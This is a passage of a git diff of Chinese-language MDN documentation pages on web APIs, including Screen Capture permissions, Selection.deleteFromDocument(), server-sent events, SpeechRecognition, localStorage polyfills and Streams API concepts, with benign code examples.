  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. -
- -

CSS

- -

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

- -

The error, warn, and info classes are used to style the corresponding console output types.

- -
#video {
-  border: 1px solid #999;
-  width: 98%;
-  max-width: 860px;
-}
-
-.error {
-  color: red;
-}
-
-.warn {
-  color: orange;
-}
-
-.info {
-  color: darkgreen;
-}
- -

Result

- -

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

- -

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

- -

安全

- -

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

- -

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

- -
Feature-Policy: display-capture 'self'
- -

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

- -
<iframe src="https://mycode.example.net/etc" allow="display-capture">
-</iframe>
-
- -

相关链接

- - -
diff --git a/files/zh-cn/web/api/selection/deletefromdocument/index.html b/files/zh-cn/web/api/selection/deletefromdocument/index.html new file mode 100644 index 0000000000..5532bcf0fc --- /dev/null +++ b/files/zh-cn/web/api/selection/deletefromdocument/index.html @@ -0,0 +1,107 @@ +--- +title: Selection.deleteFromDocument() +slug: Web/API/Selection/从Document中删除 +translation_of: Web/API/Selection/deleteFromDocument +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +
+

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

+
+ +

Syntax

+ +
sel.deleteFromDocument()
+
+ +

Parameters

+ +

None.

+ +

Examples

+ +

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" deleted file mode 100644 index 5532bcf0fc..0000000000 --- "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Selection.deleteFromDocument() -slug: Web/API/Selection/从Document中删除 -translation_of: Web/API/Selection/deleteFromDocument ---- -
-
-
{{ ApiRef("DOM") }}{{SeeCompatTable}}
-
-
- -
-

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

-
- -

Syntax

- -
sel.deleteFromDocument()
-
- -

Parameters

- -

None.

- -

Examples

- -

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/index.html new file mode 100644 index 0000000000..4a9d6e0630 --- /dev/null +++ b/files/zh-cn/web/api/server-sent_events/index.html @@ -0,0 +1,77 @@ +--- +title: Server-sent events +slug: Server-sent_events +tags: + - API + - NeedsTranslation + - Server-sent events + - TopicStub +translation_of: Web/API/Server-sent_events +--- +
{{DefaultAPISidebar("Server Sent Events")}}
+ +

一个网页获取新的数据通常需要发送一个请求到服务器,也就是向服务器请求的页面。使用 server-sent 事件,服务器可以在任何时刻向我们的 Web 页面推送数据和信息。这些被推送进来的信息可以在这个页面上作为 Events + data 的形式来处理。

+ +

概念与使用

+ +

可以前往我们这篇文章 《使用 “server-sent events”》 学习怎么使用 server-sent events。

+ +

接口

+ +
+
{{domxref("EventSource")}}
+
Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.
+
+ +

示例

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}}
+ +

参见

+ +

Tools

+ + + +

相关话题

+ + + +

其他资源

+ + diff --git a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html new file mode 100644 index 0000000000..505ec19a76 --- /dev/null +++ b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html @@ -0,0 +1,190 @@ +--- +title: 使用服务器发送事件 +slug: Server-sent_events/Using_server-sent_events +tags: + - Advanced + - DOM + - Guide + - SSE + - Server Sent Events + - messaging + - 服务器发送事件 + - 通信 +translation_of: Web/API/Server-sent_events/Using_server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +

开发一个使用服务器发送的事件的Web应用程序是很容易的。你需要在服务器上的一些代码将事件流传输到Web应用程序,但Web应用程序端的事情几乎完全相同,处理任何其他类型的事件。

+ +

在Web应用程序中使用服务器发送事件很简单.在服务器端,只需要按照一定的格式返回事件流,在客户端中,只需要为一些事件类型绑定监听函数,和处理其他普通的事件没多大区别.

+ +

从服务器接受事件

+ +

服务器发送事件API也就是EventSource接口,在你创建一个新的EventSource对象的同时,你可以指定一个接受事件的URI.例如:

+ +
const evtSource = new EventSource("ssedemo.php");
+
+ +
注:从Firefox 11开始,EventSource开始支持CORS.虽然该特性目前并不是标准,但很快会成为标准.
+ +

如果发送事件的脚本不同源,应该创建一个新的包含URL和options参数的EventSource对象。例如,假设客户端脚本在example.com上:

+ +
const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );
+ +

一旦你成功初始化了一个事件源,就可以对 {{event("message")}} 事件添加一个处理函数开始监听从服务器发出的消息了:

+ +
evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById("list");
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+ +

上面的代码监听了那些从服务器发送来的所有没有指定事件类型的消息(没有event字段的消息),然后把消息内容显示在页面文档中.

+ +

你也可以使用addEventListener()方法来监听其他类型的事件:

+ +
evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});
+ +

这段代码也类似,只是只有在服务器发送的消息中包含一个值为"ping"的event字段的时候才会触发对应的处理函数,也就是将data字段的字段值解析为JSON数据,然后在页面上显示出所需要的内容.

+ +
+

不通过HTTP / 2使用时,SSE(server-sent events)会受到最大连接数的限制,这在打开各种选项卡时特别麻烦,因为该限制是针对每个浏览器的,并且被设置为一个非常低的数字(6)。该问题在 Chrome 和 Firefox中被标记为“无法解决”。此限制是针对每个浏览器+域的,因此这意味着您可以跨所有选项卡打开6个SSE连接到www.example1.com,并打开6个SSE连接到www.example2.com。 (来自 Stackoverflow)。使用HTTP / 2时,HTTP同一时间内的最大连接数由服务器和客户端之间协商(默认为100)。

+
+ +

服务器端如何发送事件流

+ +

服务器端发送的响应内容应该使用值为text/event-stream的MIME类型.每个通知以文本块形式发送,并以一对换行符结尾。有关事件流的格式的详细信息,请参见{{ anch("Event stream format") }}。

+ +

演示的{{Glossary("PHP")}}代码如下:

+ +
date_default_timezone_set("America/New_York");
+header("Cache-Control: no-cache");
+header("Content-Type: text/event-stream");
+
+$counter = rand(1, 10);
+while (true) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+ +

上面的代码会让服务器每隔一秒生成一个事件流并返回,其中每条消息的事件类型为"ping",数据字段都使用了JSON格式,数组字段中包含了每个事件流生成时的 ISO 8601 时间戳.而且会随机返回一些无事件类型的消息.

+ +
+

: 您可以在github上找到以上代码的完整示例—参见Simple SSE demo using PHP.

+
+ +

错误处理

+ +

当发生错误(例如请求超时或与HTTP访问控制(CORS)有关的问题), 会生成一个错误事件. 您可以通过在EventSource对象上使用onerror回调来对此采取措施:

+ +
evtSource.onerror = function(err) {
+  console.error("EventSource failed:", err);
+};
+ +

关闭事件流

+ +

默认情况下,如果客户端和服务器之间的连接关闭,则连接将重新启动。可以使用.close()方法终止连接。

+ +
evtSource.close();
+ +

事件流格式

+ +

事件流仅仅是一个简单的文本数据流,文本应该使用 UTF-8 格式的编码.每条消息后面都由一个空行作为分隔符.以冒号开头的行为注释行,会被忽略.

+ +
注:注释行可以用来防止连接超时,服务器可以定期发送一条消息注释行,以保持连接不断.
+ +

每条消息是由多个字段组成的,每个字段由字段名,一个冒号,以及字段值组成.

+ +

字段

+ +

规范中规定了下面这些字段:

+ +
+
event
+
事件类型.如果指定了该字段,则在客户端接收到该条消息时,会在当前的EventSource对象上触发一个事件,事件类型就是该字段的字段值,你可以使用addEventListener()方法在当前EventSource对象上监听任意类型的命名事件,如果该条消息没有event字段,则会触发onmessage属性上的事件处理函数.
+
data
+
消息的数据字段.如果该条消息包含多个data字段,则客户端会用换行符把它们连接成一个字符串来作为字段值.
+
id
+
事件ID,会成为当前EventSource对象的内部属性"最后一个事件ID"的属性值.
+
retry
+
一个整数值,指定了重新连接的时间(单位为毫秒),如果该字段值不是整数,则会被忽略.
+
+ +

除了上面规定的字段名,其他所有的字段名都会被忽略.

+ +
注: 如果一行文本中不包含冒号,则整行文本会被解析成为字段名,其字段值为空.
+ +

例子

+ +

未命名事件

+ +

下面的例子中发送了三条消息,第一条仅仅是个注释,因为它以冒号开头.第二条消息只包含了一个data字段,值为"some text".第三条消息包含的两个data字段会被解析成为一个字段,值为"another message\nwith two lines".其中每两条消息之间是以一个空行为分割符的.

+ +
: this is a test stream
+
+data: some text
+
+data: another message
+data: with two lines
+
+ +

命名事件

+ +

下面的事件流中包含了一些命名事件.每个事件的类型都是由event字段指定的,另外每个data字段的值可以使用JSON格式,当然也可以不是.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+
+ +

混合两种事件

+ +

你可以在一个事件流中同时使用命名事件和未命名事件.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventSource")}}

diff --git a/files/zh-cn/web/api/slotable/index.html b/files/zh-cn/web/api/slotable/index.html deleted file mode 100644 index 2a489d3b22..0000000000 --- a/files/zh-cn/web/api/slotable/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Slotable -slug: Web/API/Slotable -tags: - - API - - Web Components - - 参考 - - 接口 -translation_of: Web/API/Slottable -translation_of_original: Web/API/Slotable ---- -

{{APIRef("Shadow DOM")}}

- -

Slotable mixin 定义了允许节点成为 {{htmlelement("slot")}} 元素的内容的特性——下面的特性被包含在 {{domxref("Element")}} 和 {{domxref("Text")}} API 之中。

- -

属性

- -
-
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
-
返回节点所插入的 {{htmlelement("slot")}} 元素。
-
- -

方法

- -

无。

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('DOM WHATWG','#slotable','Slotable')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.Slotable")}}

diff --git a/files/zh-cn/web/api/speechrecognition/index.html b/files/zh-cn/web/api/speechrecognition/index.html new file mode 100644 index 0000000000..83e11e69e4 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognition/index.html @@ -0,0 +1,153 @@ +--- +title: 语音识别 +slug: Web/API/语音识别 +translation_of: Web/API/SpeechRecognition +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

+ +
+

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

+
+ +

Constructor

+ +
+
{{domxref("SpeechRecognition.SpeechRecognition()")}}
+
Creates a new SpeechRecognition object.
+
+ +

Properties

+ +

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.grammars")}}
+
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
+
{{domxref("SpeechRecognition.lang")}}
+
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
+
{{domxref("SpeechRecognition.continuous")}}
+
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
+
{{domxref("SpeechRecognition.interimResults")}}
+
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
+
{{domxref("SpeechRecognition.maxAlternatives")}}
+
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
+
{{domxref("SpeechRecognition.serviceURI")}}
+
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
+
+ +
+
+ +

Methods

+ +

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.abort()")}}
+
Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
+
{{domxref("SpeechRecognition.start()")}}
+
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+
{{domxref("SpeechRecognition.stop()")}}
+
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
audiostart
+
Fired when the user agent has started to capture audio.
+ Also available via the onaudiostart property.
+
audioend
+
Fired when the user agent has finished capturing audio.
+ Also available via the onaudioend property.
+
end
+
Fired when the speech recognition service has disconnected.
+ Also available via the onend property.
+
error
+
Fired when a speech recognition error occurs.
+ Also available via the onerror property.
+
nomatch
+
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
+ Also available via the onnomatch property.
+
result
+
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
+ Also available via the onresult property.
+
soundstart
+
Fired when any sound — recognisable speech or not — has been detected.
+ Also available via the onsoundstart property.
+
soundend
+
Fired when any sound — recognisable speech or not — has stopped being detected.
+ Also available via the onsoundend property.
+
speechstart
+
Fired when sound that is recognised by the speech recognition service as speech has been detected.
+ Also available via the onspeechstart property.
+
speechend
+
Fired when speech recognised by the speech recognition service has stopped being detected.
+ Also available via the onspeechend property.
+
start
+
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+ Also available via the onstart property.
+
+ +

Examples

+ +

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

+ +

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.SpeechRecognition")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechrecognition/result_event/index.html b/files/zh-cn/web/api/speechrecognition/result_event/index.html new file mode 100644 index 0000000000..d6415441f3 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognition/result_event/index.html @@ -0,0 +1,83 @@ +--- +title: 'SpeechRecognition: result event' +slug: Web/API/语音识别/result_event +translation_of: Web/API/SpeechRecognition/result_event +--- +
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
+ +

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
+ +

Examples

+ +

This code is excerpted from our Speech color changer example.

+ +

You can use the result event in an addEventListener method:

+ +
var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
+
+recognition.addEventListener('result', function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+});
+
+ +

Or use the onresult event handler property:

+ +
recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechRecognition.result_event")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/storage/localstorage/index.html b/files/zh-cn/web/api/storage/localstorage/index.html deleted file mode 100644 index 46384c660e..0000000000 --- a/files/zh-cn/web/api/storage/localstorage/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: LocalStorage -slug: Web/API/Storage/LocalStorage -tags: - - 存储API - - 离线 -translation_of: Web/API/Window/localStorage -translation_of_original: Web/API/Web_Storage_API/Local_storage ---- -

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

- -
Note: 当浏览器进入隐私浏览模式,会创建一个新的、临时的数据库来存储local storage的数据;当关闭隐私浏览模式时,该数据库将被清空并丢弃。
- -
// Save data to the current local store
-localStorage.setItem("username", "John");
-
-// Access some stored data
-alert( "username = " + localStorage.getItem("username"));
- -

本地存储(localStorage)的持续存在对许多事情都有帮助,包括这个示例this tutorial on Codepen所演示的记录页面查看次数。

- -

兼容性

- -

Storage 对象最近才加入标准,因此可能并不被所有浏览器支持。你可以通过在你的scripts代码前加入以下两段代码中某一段来规避在不能原生支持的执行环境使用localStorage对象的问题。

- -

该算法借助于cookies,对localStorage对象进行了严谨的实现。

- -
if (!window.localStorage) {
-  Object.defineProperty(window, "localStorage", new (function () {
-    var aKeys = [], oStorage = {};
-    Object.defineProperty(oStorage, "getItem", {
-      value: function (sKey) { return sKey ? this[sKey] : null; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "key", {
-      value: function (nKeyId) { return aKeys[nKeyId]; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "setItem", {
-      value: function (sKey, sValue) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "length", {
-      get: function () { return aKeys.length; },
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "removeItem", {
-      value: function (sKey) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    this.get = function () {
-      var iThisIndx;
-      for (var sKey in oStorage) {
-        iThisIndx = aKeys.indexOf(sKey);
-        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
-        else { aKeys.splice(iThisIndx, 1); }
-        delete oStorage[sKey];
-      }
-      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
-      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
-        aCouple = aCouples[nIdx].split(/\s*=\s*/);
-        if (aCouple.length > 1) {
-          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
-          aKeys.push(iKey);
-        }
-      }
-      return oStorage;
-    };
-    this.configurable = false;
-    this.enumerable = true;
-  })());
-}
-
- -
注意:数据的最大大小是通过cookies来严格限制的。可以使用这样的算法实现,使用localStorage.setItem()localStorage.removeItem()这两个函数进行添加、改变或删除一个键。使用方法为localStorage.yourKey = yourValue;和delete localStorage.yourKey;进行设置和删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
- -
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值访问权限限定在当前浏览上下文。
- -

下面是另一个,并不那么严谨的localStorage对象的实现。相比上一个方法,它更简单且能与旧的浏览器良好兼容,如Internet Explorer < 8 (甚至能在 Internet Explorer 6 上正常工作)。它同样是使用cookies来实现的。

- -
if (!window.localStorage) {
-  window.localStorage = {
-    getItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
-      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
-    },
-    key: function (nKeyId) {
-      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
-    },
-    setItem: function (sKey, sValue) {
-      if(!sKey) { return; }
-      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      this.length = document.cookie.match(/\=/g).length;
-    },
-    length: 0,
-    removeItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
-      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      this.length--;
-    },
-    hasOwnProperty: function (sKey) {
-      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-    }
-  };
-  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
-}
-
- -
注意:数据量的最大值是通过cookies来严格限制的。可以使用localStorage.getItem()localStorage.setItem()localStorage.removeItem()等方法获取、设置或删除一个键。使用方法localStorage.yourKey = yourValue;获取、添加、改变或者删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
- -
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值限定在当前浏览环境上下文。
- -

与globalStorage的兼容性及关系

- -

localStorage 和 globalStorage[location.hostname] 是一样的, 除了作用域是在 HTML5 origin (结构 + 主机名 + 非标准的端口), 并且 localStorage 是一个 Storage 实例 ,而globalStorage[location.hostname] 是一个 StorageObsolete 实例,下面将要讨论这个。 例如, http://example.com 无法访问与 https://example.com 相同的 localStorage 对象 ,但是它们可以访问同一个 globalStoragelocalStorage 是标准的接口,globalStorage 不是, 所以不要依赖于 globalStorage 。   

- -

请注意,给globalStorage[location.hostname]设置一个属性并不会影响到localStorage。拓展Storage.prototype也不会影响globalStorage对象,只有拓展StorageObsolete.prototype才会影响。

- -

存储格式

- -

Storage的键和值都是以每个字符占2个字节的UTF-16字符串(DOMString)格式存储的。

diff --git a/files/zh-cn/web/api/streams_api/concepts/index.html b/files/zh-cn/web/api/streams_api/concepts/index.html new file mode 100644 index 0000000000..9c2d9f77ae --- /dev/null +++ b/files/zh-cn/web/api/streams_api/concepts/index.html @@ -0,0 +1,118 @@ +--- +title: Streams API 概念 +slug: Web/API/Streams_API/概念 +tags: + - 概念 + - 流 +translation_of: Web/API/Streams_API/Concepts +--- +
{{apiref("Streams")}}
+ +

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

+ +

Readable streams

+ +

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

+ +

有两种 underlying source:

+ + + +

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

+ +

+ +

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

+ +

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

+ +

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

+ +

